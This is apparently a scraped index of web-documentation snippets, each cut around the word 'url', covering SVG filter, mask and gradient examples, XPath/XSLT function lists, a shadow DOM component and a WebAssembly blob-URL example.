url(#feoffset);" /> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green;" /> </svg> result attributes global attributes core attributes » specific attributes in dom interface this element implements the svgfemergenodeelement interface.
<feOffset> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="
url(#offset)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<feoffset>' in that specification.
<fePointLight> - SVG: Scalable Vector Graphics
tant="1.5" specularexponent="80" lighting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:
url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fepointlight>' in that specification.
<feSpecularLighting> - SVG: Scalable Vector Graphics
xmlns="http://www.w3.org/2000/svg"> <filter id = "filter"> <fespecularlighting result="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110" r="100" style="filter:
url(#filter)"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespecularlighting>' in that specification.
<feSpotLight> - SVG: Scalable Vector Graphics
specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" k1="0" k2="1" k3="1" k4="0"/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:
url(#spotlight);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fespotlight>' in that specification.
<feTile> - SVG: Scalable Vector Graphics
="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:
url(#tile);"/> </svg> result specifications specification status comment filter effects module level 1the definition of '<fetile>' in that specification.
<feTurbulence> - SVG: Scalable Vector Graphics
t="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter:
url(#displacementfilter)"/> </svg> specifications specification status comment filter effects module level 1the definition of '<feturbulence>' in that specification.
<filter> - SVG: Scalable Vector Graphics
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="
url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in that specification.
<hatch> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="
url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<hatchpath> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="
url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<marker> - SVG: Scalable Vector Graphics
0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> </defs> <!-- coordinate axes with a arrowhead in both direction --> <polyline points="10,10 10,90 90,90" fill="none" stroke="black" marker-start="
url(#arrow)" marker-end="
url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="
url(#dot)" marker-mid="
url(#dot)" marker-end="
url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport.
<mask> - SVG: Scalable Vector Graphics
idth="100" height="100" fill="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="
url(#mymask)" /> </svg> attributes height this attribute defines the height of the masking area.
<solidcolor> - SVG: Scalable Vector Graphics
--> <lineargradient id="mygradient"> <stop offset="0" stop-color="green" /> </lineargradient> </defs> <text x="10" y="20">circles colored with solidcolor</text> <circle cx="150" cy="65" r="35" stroke-width="2" stroke="
url(#mycolor)" fill="white"/> <circle cx="50" cy="65" r="35" fill="
url(#mycolor)"/> <text x="10" y="120">circles colored with lineargradient</text> <circle cx="150" cy="165" r="35" stroke-width="2" stroke="
url(#mygradient)" fill="white"/> <circle cx="50" cy="165" r="35" fill="
url(#mygradient)"/> </svg> result ...
<stop> - SVG: Scalable Vector Graphics
height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="
url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
<view> - SVG: Scalable Vector Graphics
zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:
url(#gradient)"/> <view id="halfsizeview" viewbox="0 0 1200 400"/> <view id="normalsizeview" viewbox="0 0 600 200"/> <view id="doublesizeview" viewbox="0 0 300 100"/> <a xlink:href="#halfsizeview"> <text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsizeview"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesizeview">...
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
implicit box transformation to show nearest ancestor <svg> element implementation status unknown unspecified svg view fragment parameters don't cause corresponding attributes to be reset to initial values implementation status unknown viewtarget attribute of <view> and corresponding svg view fragment parameter removed implementation status unknown fragment-only
urls are always same-document implementation status unknown additional attributes on <a> implemented (bug 1451823) scripting change notes contentscripttype removed implementation status unknown animationevents.onload removed implementation status unknown fonts change notes <font>, <glyph>, <missing-glyph>,...
Filter effects - SVG: Scalable Vector Graphics
alpha" operator="in" result="specout"/> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0" result="litpaint"/> <!-- merge offsetblur + litpaint --> <femerge> <femergenode in="offsetblur"/> <femergenode in="litpaint"/> </femerge> </filter> </defs> <!-- graphic elements --> <g filter="
url(#myfilter)"> <path fill="none" stroke="#d90000" stroke-width="10" d="m50,66 c-50,0 -50,-60 0,-60 h100 c50,0 50,60 0,60z" /> <path fill="#d90000" d="m60,56 c-30,0 -30,-40 0,-40 h80 c30,0 30,40 0,40z" /> <g fill="#ffffff" stroke="black" font-size="45" font-family="verdana" > <text x="52" y="52">svg</text> </g> </g> </svg> step 1 <fegaus...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
svg filter example <defs> <filter id="drop-shadow"> <fegaussianblur in="sourcealpha" stddeviation="3"/> </filter> </defs> <g id="ghost" style="filter:
url(#drop-shadow);"/> <!--ghost drawing in here--> </g> this above example will not produced the desired output.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
="activate!" onclick="signalerror();"></p> </fieldset> </form> <svg viewbox="0 0 100 100" preserveaspectratio="xmidymid slice" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"> <lineargradient id="gradient"> <stop class="begin" offset="0%"/> <stop class="end" offset="100%"/> </lineargradient> <rect x="0" y="0" width="100" height="100" style="fill:
url(#gradient)" /> <circle cx="50" cy="50" r="30" style="fill:
url(#gradient)" /> </svg> </body> </html> discussion the page is mainly regular html, css and javascript.
SVG fonts - SVG: Scalable Vector Graphics
option: use css @font-face you can use @font-face to reference remote (and not so remote) fonts: <font id="super_sans"> <!-- and so on --> </font> <style type="text/css"> @font-face { font-family: "super sans"; src:
url(#super_sans); } </style> <text font-family="super sans">my text uses super sans</text> option: reference a remote font the above mentioned font-face-uri element allows you to reference an external font, hence allowing greater re-usability: <font> <font-face font-family="super sans"> <font-face-src> <font-face-uri xlink:href="fonts.svg#super_sans" /> </font-face-src> </font-f...
Using shadow DOM - Web Components
lement('span'); wrapper.setattribute('class', 'wrapper'); let icon = document.createelement('span'); icon.setattribute('class', 'icon'); icon.setattribute('tabindex', 0); let info = document.createelement('span'); info.setattribute('class', 'info'); // take attribute content and put it inside the info span let text = this.getattribute('data-text'); info.textcontent = text; // insert icon let img
url; if(this.hasattribute('img')) { img
url = this.getattribute('img'); } else { img
url = 'img/default.png'; } let img = document.createelement('img'); img.src = img
url; icon.appendchild(img); styling the shadow dom after that we create a <style> element and populate it with some css to style it: // create some css to apply to the shadow dom let style = document.createelement('style'); style.
system-property - XPath
notes xsl:version, a number giving the version of xslt implemented by the processor; for xslt processors implementing the version of xslt specified by this document, this is the number 1.0 xsl:vendor, a string identifying the vendor of the xslt processor xsl:vendor-
url, a string containing a
url identifying the vendor of the xslt processor; typically this is the host page (home page) of the vendor's web site.
Functions - XPath
) xslt-specific function-available() generate-id() xslt-specific id() (partially supported) key() xslt-specific lang() last() local-name() name() namespace-uri() normalize-space() not() number() position() round() starts-with() string() string-length() substring() substring-after() substring-before() sum() system-property() xslt-specific translate() true() unparsed-entity-
url() xslt-specific (not supported) ...
Index - XPath
54 unparsed-entity-
url xslt, xslt_reference the unparsed-entity-
url() function returns the uri of the unparsed entity with the given name.
XPath
xpath uses a path notation (as in
urls) for navigating through the hierarchical structure of an xml document.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
for example, assume that a variable "image-dir" is defined as follows: <xsl:variable name="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside c
urly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the w3c recommendation and an explanation of the degree of present gecko support.
Resources - XSLT: Extensible Stylesheet Language Transformations
xsl results firefox extension (presently awaiting review) - allows one to experiment with xsl, by applying xsl stylesheets (which are manually entered, found via a
url or on the file-system) to an xml document (the currently-loaded document or a manually entered/pasted one).
The Netscape XSLT/XPath Reference - XSLT: Extensible Stylesheet Language Transformations
-space() (supported) not() (supported) number() (supported) position() (supported) round() (supported) starts-with() (supported) string() (supported) string-length() (supported) substring() (supported) substring-after() (supported) substring-before() (supported) sum() (supported) system-property() (supported) translate() (supported) true() (supported) unparsed-entity-
url() (not supported) ...
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
ted) normalize-space() (supported) not() (supported) number() (supported) position() (supported) round() (supported) starts-with() (supported) string() (supported) string-length() (supported) substring() (supported) substring-after() (supported) substring-before() (supported) sum() (supported) system-property() (supported) translate() (supported) true() (supported) unparsed-entity-
url() (not supported) for further reading books online the world wide web consortium portals articles tutorials/examples mailing lists/newsgroups resources index original document information copyright information: copyright © 2001-2003 netscape.
Compiling an Existing C Module to WebAssembly - WebAssembly
to prove that it worked, turn your result buffer into a blob and use it on an <img> element: const blob = new blob([result], {type: 'image/webp'}); const blob
url =
url.createobject
url(blob); const img = document.createelement('img'); img.src = blob
url; document.body.appendchild(img) behold, the glory of a new webp image.